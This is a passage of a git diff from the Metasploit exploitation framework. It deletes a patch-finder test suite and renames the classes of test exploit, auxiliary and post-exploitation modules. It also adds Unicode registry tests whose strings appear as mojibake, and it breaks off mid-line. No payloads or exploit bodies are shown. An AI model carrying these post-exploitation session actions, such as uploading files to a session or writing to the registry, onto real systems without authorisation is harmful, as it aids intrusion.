-RSpec.describe MicrosoftPatchFinder do - - before(:example) do - cli = Rex::Proto::Http::Client.new('127.0.0.1') - allow(cli).to receive(:connect) - allow(cli).to receive(:request_cgi) - allow(cli).to receive(:send_recv).and_return(Rex::Proto::Http::Response.new) - allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) - end - - let(:technet) do - MicrosoftPatchFinder::SiteInfo::TECHNET - end - - let(:microsoft) do - MicrosoftPatchFinder::SiteInfo::MICROSOFT - end - - let(:googleapis) do - MicrosoftPatchFinder::SiteInfo::GOOGLEAPIS - end - - describe MicrosoftPatchFinder::SiteInfo do - context 'Constants' do - context 'TECHNET' do - it 'returns 157.56.148.23 as the IP' do - expect(technet[:ip]).to eq('157.56.148.23') - end - - it 'returns technet.microsoft.com as the vhost' do - expect(technet[:vhost]).to eq('technet.microsoft.com') - end - end - - context 'MICROSOFT' do - it 'returns 104.72.230.162 as the IP' do - expect(microsoft[:ip]).to eq('104.72.230.162') - end - - it 'returns www.microsoft.com as the vhost' do - expect(microsoft[:vhost]).to eq('www.microsoft.com') - end - end - - context 'GOOGLEAPIS' do - it 'returns 74.125.28.95 as the IP' do - expect(googleapis[:ip]).to eq('74.125.28.95') - end - - it 'returns www.googleapis.com as the vhost' do - expect(googleapis[:vhost]).to eq('www.googleapis.com') - end - end - end - end - - describe MicrosoftPatchFinder::Helper do - - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - - def get_stderr(&block) - out = $stderr - $stderr = fake = StringIO.new - begin - yield - ensure - $stderr = out - end - fake.string - end - - subject(:object_helper) do - mod = Object.new - mod.extend MicrosoftPatchFinder::Helper - mod - end - - describe '#print_debug' do - it 'prints a [DEBUG] message' do - output = get_stderr { object_helper.print_debug } - expect(output).to include('[DEBUG]') - end - end - - describe '#print_status' do - it 'prints a [*] message' do - output = get_stderr { object_helper.print_status } - expect(output).to include('[*]') - end - end - - describe '#print_error' do - it 'prints an [ERROR] message' do - output = get_stderr { object_helper.print_error } - expect(output).to include('[ERROR]') - end - end - - describe '#print_line' do - it 'prints a regular message' do - msg = 'TEST' - output = get_stdout { object_helper.print_line(msg) } - expect(output).to eq("#{msg}\n") - end - end - - describe '#send_http_request' do - it 'returns a Rex::Proto::Http::Response object' do - allow(object_helper).to receive(:print_debug) - res = object_helper.send_http_request(MicrosoftPatchFinder::SiteInfo::TECHNET) - expect(res).to be_kind_of(Rex::Proto::Http::Response) - end - end - - end - - describe MicrosoftPatchFinder::PatchLinkCollector do - - let(:ms15_100_html) do - %Q| - -
      -
      -

      -
      - Affected Software -
      - - -
      fake link
      -
      -
      -

      -
      -
      - - | - end - - let(:ms07_029_html) do - %Q| - -
      - -
      - - | - end - - let(:ms03_039_html) do - %Q| - -
      -
      -
      -

      - Download locations -

      - -
      -
      -
      - - | - end - - let(:ms07_030_html) do - %Q| - -
      -

      - Affected Software -

      - - - - - | - end - - subject(:patch_link_collector) do - MicrosoftPatchFinder::PatchLinkCollector.new - end - - before(:example) do - allow(patch_link_collector).to receive(:print_debug) - end - - describe '#download_advisory' do - it 'returns a Rex::Proto::Http::Response object' do - res = patch_link_collector.download_advisory('ms15-100') - expect(res).to be_kind_of(Rex::Proto::Http::Response) - end - end - - describe '#get_appropriate_pattern' do - - it 'returns a pattern for ms15-100' do - expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//table//a' - p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms15_100_html)) - expect(p).to eq(expected_pattern) - end - - it 'returns a pattern for ms07-029' do - expected_pattern = '//div[@id="mainBody"]//ul//li//a[contains(text(), "Download the update")]' - p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_029_html)) - expect(p).to eq(expected_pattern) - end - - it 'returns a pattern for ms03-039' do - expected_pattern = '//div[@id="mainBody"]//div//div[@class="sectionblock"]//ul//li//a' - p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms03_039_html)) - expect(p).to eq(expected_pattern) - end - - it 'returns a pattern for ms07-030' do - expected_pattern = '//div[@id="mainBody"]//table//a' - p = patch_link_collector.get_appropriate_pattern(::Nokogiri::HTML(ms07_030_html)) - expect(p).to eq(expected_pattern) - end - end - - describe '#get_details_aspx' do - let(:details_aspx) do - res = Rex::Proto::Http::Response.new - allow(res).to receive(:body).and_return(ms15_100_html) - res - end - - it 'returns an URI object to a details aspx' do - links = patch_link_collector.get_details_aspx(details_aspx) - expected_uri = 'https://www.microsoft.com/downloads/details.aspx?familyid=1' - expect(links.length).to eq(1) - expect(links.first).to be_kind_of(URI) - expect(links.first.to_s).to eq(expected_uri) - end - end - - describe '#follow_redirect' do - let(:expected_header) do - { 'Location' => 'http://example.com/' } - end - - let(:http_res) do - res = Rex::Proto::Http::Response.new - allow(res).to receive(:headers).and_return(expected_header) - res - end - - it 'goes to a location based on the Location HTTP header' do - cli = Rex::Proto::Http::Client.new('127.0.0.1') - allow(cli).to receive(:connect) - allow(cli).to receive(:request_cgi) - allow(cli).to receive(:send_recv).and_return(http_res) - allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) - - expect(patch_link_collector.follow_redirect(technet, http_res).headers).to eq(expected_header) - end - end - - describe '#get_download_page' do - it 'returns a Rex::Proto::Http::Response object' do - uri = URI('http://www.example.com/') - expect(patch_link_collector.get_download_page(uri)).to be_kind_of(Rex::Proto::Http::Response) - end - end - - describe '#get_download_links' do - let(:confirm_aspx) do - %Q| - - Download - - | - end - - let(:expected_link) do - 'https://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu' - end - - let(:download_html_res) do - Rex::Proto::Http::Response.new.tap { |response| - allow(response).to receive(:body).and_return( - %Q| - - Click here - - | - ) - } - end - - it 'returns an array of links' do - cli = Rex::Proto::Http::Client.new('127.0.0.1') - allow(cli).to receive(:connect) - allow(cli).to receive(:request_cgi) - allow(cli).to receive(:send_recv).and_return(download_html_res) - allow(Rex::Proto::Http::Client).to receive(:new).and_return(cli) - - expect(patch_link_collector.get_download_links(confirm_aspx).first).to eq(expected_link) - end - end - - describe '#has_advisory?' do - it 'returns true if the page is found' do - res = Rex::Proto::Http::Response.new - expect(patch_link_collector.has_advisory?(res)).to be_truthy - end - - it 'returns false if the page is not found' do - html = %Q| - - We are sorry. The page you requested cannot be found - - | - - res = Rex::Proto::Http::Response.new - allow(res).to receive(:body).and_return(html) - expect(patch_link_collector.has_advisory?(res)).to be_falsey - end - end - - describe '#is_valid_msb?' do - let(:good_msb) do - 'MS15-100' - end - - let(:bad_msb) do - 'MS15-01' - end - - it 'returns true if the MSB format is correct' do - expect(patch_link_collector.is_valid_msb?(good_msb)).to be_truthy - end - - it 'returns false if the MSB format is incorrect' do - expect(patch_link_collector.is_valid_msb?(bad_msb)).to be_falsey - end - - end - - end - - describe MicrosoftPatchFinder::TechnetMsbSearch do - - subject(:technet_msb_search) do - MicrosoftPatchFinder::TechnetMsbSearch.new - end - - before(:example) do - allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:print_debug) - allow_any_instance_of(MicrosoftPatchFinder::TechnetMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts| - case opts['uri'] - when /\/en\-us\/security\/bulletin\/dn602597\.aspx/ - html = %Q| - - | - when /\/security\/bulletin\/services\/GetBulletins/ - html = %Q|{ - "l":1, - "b":[ - { - "d":"9/8/2015", - "Id":"MS15-100", - "KB":"3087918", - "Title":"Vulnerability in Windows Media Center Could Allow Remote Code Execution", - "Rating":"Important" - } - ] - } - | - else - html = '' - end - - res = Rex::Proto::Http::Response.new - allow(res).to receive(:body).and_return(html) - res - } - end - - let(:ie10) do - 'Windows Internet Explorer 10' - end - - let(:ie10_id) do - 10401 - end - - describe '#find_msb_numbers' do - it 'returns an array of found MSB numbers' do - msb = technet_msb_search.find_msb_numbers(ie10) - expect(msb).to be_kind_of(Array) - expect(msb.first).to eq('ms15-100') - end - end - - describe '#search' do - it 'returns search results in JSON format' do - results = technet_msb_search.search(ie10) - expect(results).to be_kind_of(Hash) - expect(results['b'].first['Id']).to eq('MS15-100') - end - end - - describe '#search_by_product_ids' do - it 'returns an array of found MSB numbers' do - results = technet_msb_search.search_by_product_ids([ie10_id]) - expect(results).to be_kind_of(Array) - expect(results.first).to eq('ms15-100') - end - end - - describe '#search_by_keyword' do - it 'returns an array of found MSB numbers' do - results = technet_msb_search.search_by_keyword('ms15-100') - expect(results).to be_kind_of(Array) - expect(results.first).to eq('ms15-100') - end - end - - describe '#get_product_dropdown_list' do - it 'returns an array of products' do - results = technet_msb_search.get_product_dropdown_list - expect(results).to be_kind_of(Array) - expect(results.first).to be_kind_of(Hash) - expected_hash = {:option_value=>"10175", :option_text=>"Active Directory"} - expect(results.first).to eq(expected_hash) - end - end - - end - - describe MicrosoftPatchFinder::GoogleMsbSearch do - - subject(:google_msb_search) do - MicrosoftPatchFinder::GoogleMsbSearch.new - end - - let(:json_data) do - %Q|{ - "kind": "customsearch#search", - "url": { - "type": "application/json", - "template": "" - }, - "queries": { - "request": [ - { - "title": "Google Custom Search - internet", - "totalResults": "1", - "searchTerms": "internet", - "count": 10, - "startIndex": 1, - "inputEncoding": "utf8", - "outputEncoding": "utf8", - "safe": "off", - "cx": "" - } - ] - }, - "context": { - "title": "Technet.microsoft" - }, - "searchInformation": { - "searchTime": 0.413407, - "formattedSearchTime": "0.41", - "totalResults": "1", - "formattedTotalResults": "1" - }, - "items": [ - { - "kind": "customsearch#result", - "title": "Microsoft Security Bulletin MS15-093 - Critical", - "htmlTitle": "Microsoft Security Bulletin MS15-093 - Critical", - "link": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx", - "displayLink": "technet.microsoft.com", - "snippet": "", - "htmlSnippet": "", - "cacheId": "2xDJB6zqL_sJ", - "formattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx", - "htmlFormattedUrl": "https://technet.microsoft.com/en-us/library/security/ms15-093.aspx", - "pagemap": { - "metatags": [ - { - "search.mshkeyworda": "ms15-093", - "search.mshattr.assetid": "ms15-093", - "search.mshattr.docset": "bulletin", - "search.mshattr.sarticletype": "bulletin", - "search.mshattr.sarticleid": "MS15-093", - "search.mshattr.sarticletitle": "Security Update for Internet Explorer", - "search.mshattr.sarticledate": "2015-08-20", - "search.mshattr.sarticleseverity": "Critical", - "search.mshattr.sarticleversion": "1.1", - "search.mshattr.sarticlerevisionnote": "", - "search.mshattr.sarticleseosummary": "", - "search.mshattr.skbnumber": "3088903", - "search.mshattr.prefix": "MSRC", - "search.mshattr.topictype": "kbOrient", - "search.mshattr.preferredlib": "/library/security", - "search.mshattr.preferredsitename": "TechNet", - "search.mshattr.docsettitle": "MSRC Document", - "search.mshattr.docsetroot": "Mt404691", - "search.save": "history", - "search.microsoft.help.id": "ms15-093", - "search.description": "", - "search.mscategory": "dn567670", - "search.mscategoryv": "dn567670Security10", - "search.tocnodeid": "mt404691", - "mshkeyworda": "ms15-093", - "mshattr": "AssetID:ms15-093", - "save": "history", - "microsoft.help.id": "ms15-093" - } - ] - } - } - ] -} - | - end - - before(:example) do - allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:print_debug) - allow_any_instance_of(MicrosoftPatchFinder::GoogleMsbSearch).to receive(:send_http_request) { |info_obj, info_opts, opts| - res = Rex::Proto::Http::Response.new - allow(res).to receive(:body).and_return(json_data) - res - } - end - - let(:expected_msb) do - 'ms15-093' - end - - describe '#find_msb_numbers' do - it 'returns an array of msb numbers' do - results = google_msb_search.find_msb_numbers(expected_msb) - expect(results).to be_kind_of(Array) - expect(results).to eq([expected_msb]) - end - end - - describe '#search' do - it 'returns a hash (json data)' do - results = google_msb_search.search(starting_index: 1) - expect(results).to be_kind_of(Hash) - end - end - - describe '#parse_results' do - it 'returns a hash (json data)' do - res = Rex::Proto::Http::Response.new - allow(res).to receive(:body).and_return(json_data) - - results = google_msb_search.parse_results(res) - expect(results).to be_kind_of(Hash) - end - end - - describe '#get_total_results' do - it 'returns a fixnum' do - total = google_msb_search.get_total_results(JSON.parse(json_data)) - expect(total).to be_kind_of(Fixnum) - end - end - - describe '#get_next_index' do - it 'returns a fixnum' do - i = google_msb_search.get_next_index(JSON.parse(json_data)) - expect(i).to be_kind_of(Fixnum) - end - end - - end - - describe MicrosoftPatchFinder::Driver do - - let(:msb) do - 'ms15-100' - end - - let(:expected_link) do - 'http://download.microsoft.com/download/9/0/6/906BC7A4-7DF7-4C24-9F9D-3E801AA36ED3/Windows6.0-KB3087918-x86.msu' - end - - before(:example) do - opts = { keyword: msb } - allow(MicrosoftPatchFinder::OptsConsole).to receive(:get_parsed_options).and_return(opts) - allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:download_advisory).and_return(Rex::Proto::Http::Response.new) - allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_details_aspx).and_return([expected_link]) - allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_page).and_return(Rex::Proto::Http::Response.new) - allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:get_download_links).and_return([expected_link]) - allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_debug) - allow_any_instance_of(MicrosoftPatchFinder::Driver).to receive(:print_error) - allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_debug) - allow_any_instance_of(MicrosoftPatchFinder::PatchLinkCollector).to receive(:print_error) - end - - subject(:driver) do - MicrosoftPatchFinder::Driver.new - end - - describe '#get_download_links' do - it 'returns an array of links' do - results = driver.get_download_links(msb) - expect(results).to be_kind_of(Array) - expect(results.first).to eq(expected_link) - end - end - - describe '#google_search' do - it 'returns search results' do - skip('See rspec for MicrosoftPatchFinder::GoogleMsbSearch#find_msb_numbers') - end - end - - describe '#technet_search' do - it 'returns search results' do - skip('See rspec for MicrosoftPatchFinder::TechnetMsbSearch#find_msb_numbers') - end - end - - end - -end diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index ce9d04f023..09803e5406 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -172,19 +172,6 @@ RSpec.describe VirusTotalUtility do describe VirusTotalUtility::Driver do - # Get stdout: - # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - before do $stdin = StringIO.new("Y\n") end diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb index 4e05e343fc..7635dd4e0c 100644 --- a/test/modules/auxiliary/test/capture.rb +++ b/test/modules/auxiliary/test/capture.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Capture diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb index dbcb353284..09138e7dcb 100644 --- a/test/modules/auxiliary/test/check.rb +++ b/test/modules/auxiliary/test/check.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb index 087adf1282..c20f1d5ffe 100644 --- a/test/modules/auxiliary/test/eth_spoof.rb +++ b/test/modules/auxiliary/test/eth_spoof.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Capture diff --git a/test/modules/auxiliary/test/ftp_data.rb b/test/modules/auxiliary/test/ftp_data.rb index 8f22c67c49..d0b28c0421 100644 --- a/test/modules/auxiliary/test/ftp_data.rb +++ b/test/modules/auxiliary/test/ftp_data.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp diff --git a/test/modules/auxiliary/test/heaplib2.rb b/test/modules/auxiliary/test/heaplib2.rb index d50c432964..c1e9a0cbae 100644 --- a/test/modules/auxiliary/test/heaplib2.rb +++ b/test/modules/auxiliary/test/heaplib2.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/test/modules/auxiliary/test/httpserver.rb b/test/modules/auxiliary/test/httpserver.rb index 8fc667d5c4..2da0069f68 100644 --- a/test/modules/auxiliary/test/httpserver.rb +++ b/test/modules/auxiliary/test/httpserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer diff --git a/test/modules/auxiliary/test/ip_spoof.rb b/test/modules/auxiliary/test/ip_spoof.rb index 50dc2f8ef4..dcb670d582 100644 --- a/test/modules/auxiliary/test/ip_spoof.rb +++ b/test/modules/auxiliary/test/ip_spoof.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Scanner diff --git a/test/modules/auxiliary/test/recon_passive.rb b/test/modules/auxiliary/test/recon_passive.rb index dfd7a23b8e..11ec7c313b 100644 --- a/test/modules/auxiliary/test/recon_passive.rb +++ b/test/modules/auxiliary/test/recon_passive.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 256f549059..f93e01cc95 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary FAKE_IP = '192.168.12.123' FAKE_PORT = 80 diff --git a/test/modules/auxiliary/test/scanner_batch.rb b/test/modules/auxiliary/test/scanner_batch.rb index d9e8a346d7..120b02783b 100644 --- a/test/modules/auxiliary/test/scanner_batch.rb +++ b/test/modules/auxiliary/test/scanner_batch.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner diff --git a/test/modules/auxiliary/test/scanner_host.rb b/test/modules/auxiliary/test/scanner_host.rb index 2f9ff8475e..4ff7dd85b2 100644 --- a/test/modules/auxiliary/test/scanner_host.rb +++ b/test/modules/auxiliary/test/scanner_host.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner diff --git a/test/modules/auxiliary/test/scanner_range.rb b/test/modules/auxiliary/test/scanner_range.rb index 76210a771d..9c3f192320 100644 --- a/test/modules/auxiliary/test/scanner_range.rb +++ b/test/modules/auxiliary/test/scanner_range.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner diff --git a/test/modules/auxiliary/test/space-check.rb b/test/modules/auxiliary/test/space-check.rb index fea0b6870b..aaa7ae5f5a 100644 --- a/test/modules/auxiliary/test/space-check.rb +++ b/test/modules/auxiliary/test/space-check.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/test/modules/exploits/test/aggressive.rb b/test/modules/exploits/test/aggressive.rb index 293301faa3..f989bac288 100644 --- a/test/modules/exploits/test/aggressive.rb +++ b/test/modules/exploits/test/aggressive.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Tcp diff --git a/test/modules/exploits/test/browserexploitserver.rb b/test/modules/exploits/test/browserexploitserver.rb index dc38645d7a..1ccd6ffadf 100644 --- a/test/modules/exploits/test/browserexploitserver.rb +++ b/test/modules/exploits/test/browserexploitserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb index 2b2aaf2ab5..5520014680 100644 --- a/test/modules/exploits/test/check.rb +++ b/test/modules/exploits/test/check.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit +class MetasploitModule < Msf::Exploit def initialize(info = {}) super(update_info(info, diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb index ecf80239cb..22cd334e90 100644 --- a/test/modules/exploits/test/cmdweb.rb +++ b/test/modules/exploits/test/cmdweb.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # =( need more targets and perhaps more OS specific return values OS specific would be preferred diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb index c5a662edd2..edd7a228ee 100644 --- a/test/modules/exploits/test/dialup.rb +++ b/test/modules/exploits/test/dialup.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Dialup diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb index 7c4ca444c6..6da35c4bcf 100644 --- a/test/modules/exploits/test/egghunter.rb +++ b/test/modules/exploits/test/egghunter.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Tcp diff --git a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb index dd92b9309c..8505eaa529 100644 --- a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb +++ b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb index 9ac473a9c4..2715bd6a15 100644 --- a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb +++ b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb index 7a728b1a1b..f07278feeb 100644 --- a/test/modules/exploits/test/exploitme.rb +++ b/test/modules/exploits/test/exploitme.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Tcp diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb index 654901ffc2..ae1602c66f 100644 --- a/test/modules/exploits/test/java_tester.rb +++ b/test/modules/exploits/test/java_tester.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking def initialize( info = {} ) diff --git a/test/modules/exploits/test/js_tester.rb b/test/modules/exploits/test/js_tester.rb index 3483c27d10..e264e61b45 100644 --- a/test/modules/exploits/test/js_tester.rb +++ b/test/modules/exploits/test/js_tester.rb @@ -1,6 +1,6 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb index 5ca63ed3a4..1848e44631 100644 --- a/test/modules/exploits/test/kernel.rb +++ b/test/modules/exploits/test/kernel.rb @@ -8,7 +8,7 @@ require 'msf/core' # # This is a test exploit for testing kernel-mode payloads. # -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Udp diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb index a961d3cbf8..237a48b484 100644 --- a/test/modules/exploits/test/shell.rb +++ b/test/modules/exploits/test/shell.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::Tcp diff --git a/test/modules/post/test/extapi.rb b/test/modules/post/test/extapi.rb index 3323bc8ad6..0b25fb123d 100644 --- a/test/modules/post/test/extapi.rb +++ b/test/modules/post/test/extapi.rb @@ -6,7 +6,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib") $:.push(lib) unless $:.include?(lib) require 'module_test' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 798b183b99..e38a99d1ac 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -8,7 +8,7 @@ require 'module_test' #load 'lib/rex/text.rb' #load 'lib/msf/core/post/file.rb' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest include Msf::Post::Common diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb index 32dcb9376f..c70d61de96 100644 --- a/test/modules/post/test/get_env.rb +++ b/test/modules/post/test/get_env.rb @@ -7,7 +7,7 @@ require 'module_test' #load 'lib/rex/text.rb' #load 'lib/msf/core/post/common.rb' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest include Msf::Post::Common diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index 005725c3cc..fee66777ae 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -6,7 +6,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib") $:.push(lib) unless $:.include?(lib) require 'module_test' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest @@ -233,7 +233,7 @@ class Metasploit4 < Msf::Post vprint_status("uploading") session.fs.file.upload_file(remote, local) vprint_status("done") - res &&= session.fs.file.exists?(remote) + res &&= session.fs.file.exist?(remote) vprint_status("remote file exists? #{res.inspect}") if res @@ -285,7 +285,7 @@ class Metasploit4 < Msf::Post vprint_status("uploading") session.fs.file.upload_file(remote, local) vprint_status("done") - res &&= session.fs.file.exists?(remote) + res &&= session.fs.file.exist?(remote) vprint_status("remote file exists? #{res.inspect}") if res diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index 7b2c1f6daa..be93bd2809 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -12,7 +12,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib") $:.push(lib) unless $:.include?(lib) require 'module_test' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest include Msf::Post::Windows::Railgun diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index 89bf6415e6..cd1e9c4fce 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -12,7 +12,7 @@ lib = File.join(Msf::Config.install_root, "test", "lib") $:.push(lib) unless $:.include?(lib) require 'module_test' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest include Msf::Post::Windows::Registry @@ -126,7 +126,6 @@ class Metasploit3 < Msf::Post ret end - it "should write REG_DWORD values" do ret = true registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") @@ -154,6 +153,41 @@ class Metasploit3 < Msf::Post ret end + it "should create unicode keys" do + ret = registry_createkey(%q#HKCU\σονσλυσιονεμκυε#) + end + + it "should write REG_SZ unicode values" do + ret = true + registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str", "дÑлььÑкатезшимÑ", "REG_SZ") + registry_setvaldata(%q#HKCU\σονσλυσιονεμκυε#, "test_val_dword", 1234, "REG_DWORD") + valinfo = registry_getvalinfo(%q#HKCU\σονσλυσιονεμκυε#, "test_val_str") + if (valinfo.nil?) + ret = false + else + # type == REG_SZ means string + ret &&= !!(valinfo["Type"] == 1) + ret &&= !!(valinfo["Data"].kind_of? String) + ret &&= !!(valinfo["Data"] == "дÑлььÑкатезшимÑ") + end + + ret + end + + + it "should delete unicode keys" do + ret = registry_deleteval(%q#HKCU\σονσλυσιονεμκυε#, 